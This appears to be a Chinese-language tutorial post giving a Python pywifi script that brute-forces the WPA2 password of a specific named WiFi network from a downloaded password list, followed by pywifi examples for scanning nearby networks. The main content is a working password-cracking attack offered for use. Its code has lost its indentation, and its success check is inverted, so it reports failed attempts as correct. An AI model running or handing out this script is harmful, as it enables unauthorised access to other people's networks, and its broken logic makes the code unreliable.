import pywifi
from pywifi import const
import time # 时间模块
''''
1:导入模块
2:抓取第一个网卡接口
3:断开wifi连接
4:从密码本上读取密码
5:设置睡眠时间 3秒左右
'''
# 名称 Wifi密码
def wificonnect(wifiname,wifipwd):
'''WIFI的测试连接'''
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
#断开WiFi连接
ifaces.disconnect()
time.sleep(0.5)
if ifaces.status() == const.IFACE_DISCONNECTED:
# 创建WIFI文件
profile = pywifi.Profile()
# wifi名称
profile.ssid = wifiname
# 密码
profile.key = wifipwd
# WiFi的加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 网卡的开放
profile.auth = const.AUTH_ALG_OPEN
# 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 删除所有的WIFI文件
ifaces.remove_all_network_profiles()
# 设定新的链接文件
temp_profile = ifaces.add_network_profile(profile)
# 连接wifi
ifaces.connect(temp_profile)
time.sleep(3)
if ifaces.status() == const.IFACE_DISCONNECTED:
return True
else:
return False
# 读取密码本
def read_pwd():
'''读取密码本'''
print('开始破解:')
path = r'C:\Users\Frenzy Fan\PycharmProjects\untitled1\WiFI\wifipwd.txt'
file = open(path,'r')
while True:
try:
wifipwd = file.readline()
bool =wificonnect('CMCC-v6ic',wifipwd)
if bool:
print('密码正确'+wifipwd)
break # 退出一层循环
else:
print('密码错误'+wifipwd)
except:
continue
file.close()
read_pwd()
# wificonnect('CMCC-v6ic','123')
密码本去网上下载一个就可以,
结果:
pywifi的用法:
import pywifi
from pywifi import const # 引入一些定义
# 判断是否连接到wifi环境
def gic():
# 创建一个wifi对象
wifi = pywifi.PyWiFi()
# 获取网卡 [] 列表
ifaces = wifi.interfaces()[0]
# 获取无线网卡名字
# print(ifaces.name())
# print(ifaces.status()) # 0代表没有连接到wifi
if ifaces.status() == const.IFACE_DISCONNECTED:
print('wifi未连接')
else:
print('wifi已连接')
# gic()
# 扫描附近WIFI
def bies():
# 创建一个wifi对象
wifi = pywifi.PyWiFi()
# 获取网卡 [] 列表
ifaces = wifi.interfaces()[0]
# 扫描
ifaces.scan()
bessis = ifaces.scan_results()
print(bessis)
for wifi in bessis:
# wifi名字
print(wifi.ssid)
bies()